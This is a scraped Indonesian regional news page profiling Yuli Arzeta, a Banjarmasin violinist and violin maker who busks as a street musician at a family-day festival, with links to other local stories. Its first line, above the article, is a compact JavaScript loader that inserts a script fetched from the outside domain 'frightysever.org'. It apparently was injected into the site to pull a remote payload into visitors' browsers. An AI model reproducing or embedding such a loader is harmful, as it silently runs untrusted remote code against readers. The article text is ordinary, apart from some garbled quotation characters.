(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Jari jemarinya lincah bersinkronasi dengan setiap gesekan yang menghasilkan lantunan nada-nada indah. Namanya Yuli Arzeta, pria itu berdiri gagah dengan rompi sasirangan berwarna biru ditemani bioalanya, menghibur para pengunjung yang datang ke festival Harganas di Siring 0 Km, Banjarmasin.
Dari biolanya, ia mengalunkan banyak lagu yang menghibur pengunjung dalam penampilan ala street musician-nya (musisi jalanan). Di mana ia tampil bermain biola seperti tengah mengamen dengan kotak biola yang terbuka di depannya menanti rupiah diletakkan oleh para pengunjung.
“Sebenarnya saya diminta tampil saja (untuk mengisi kegiatan Harganas) tapi saya ajukan ke panitia saya pakai tema street musician. Jadi kalau ada yang ngasih uang, syukur, kalau engga ya tidak apa-apa. Lumayan dapat pemasukan stereo, kanan kiri,†candanya sembari bersantai saat menunggu azan selesai agar ia bisa tampil kembali menghibur pengunjung.
Penampilan ala street musician sendiri sudah melekat dalam dirinya sejak pertengahan 2018 lalu. Ia biasanya sering tampil pada hari Minggu di Siring Menara Pandang untuk mengisi waktu luang.
Berkat main ala street musician ia jadi sering mendapat ‘penghasilan tambahan’. “Yang ngasih biasanya lima atau sepuluh ribu. Kadang pernah ada yang sampai 50 sampai 100 ribu. Tapi biasanya hasilnya saya sumbangkan. Kadang ada orang biasanya request juga kalau saya lagi ngamen,†ungkapnya.
Pekerjaan utama Yuli tidak jauh dari biola. Ia menjadi guru les biola dan juga membuat biola. Ia membuat banyak biola dengan ragam rangka yang unik, bahkan ada yang menyerupai gitar. Biola-biola yang ia buat sudah melalang buana dipesan oleh orang-orang hingga ke luar negeri. Untuk biaya pembuatan satu biola biasanya memakan waktu tiga bulan lamanya.
Sekedar diketahui, pemain biola atau violinis (bahasa inggris : Violinist) biasa disebut. Sementara orang yang membuat atau membetulkan alat musik berdawai disebut luthier.
Pria yang sudah berkeluarga ini berbagi kisahnya bahwa ia sudah menyukai dan menggeluti permainan biola ketika ia duduk di bangku sekolah menengah atas pada tahun 2000. Ia berlatih mula-mula dengan biola buatan tangan sendiri, sebab baginya yang masih pemula saat itu, tidaklah perlu alat musik yang mahal untuk berlatih.
Hingga saat ini di sela hobi ‘mengamennya’, Yuli biasanya menerima tawaran bermain biola untuk tampil di cafe atau acara pernikahan. Ia juga mengaku pernah menjadi pemain musik untuk seorang pria yang saat itu ingin menyatakan perasaan cinta kepada pasangannya. “Jadi saya disuruh main biola, terus si cowok itu nembak si cewek,†kenangnya.
Penampilan Yuli di malam itu disambut meriah oleh tepuk tangan pengunjung yang hadir. Tidak hanya bermain solo, ia juga tampil berduet bersama rekannya yang memainkan alat musik tradisional panting. (mario)
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More
This website uses cookies.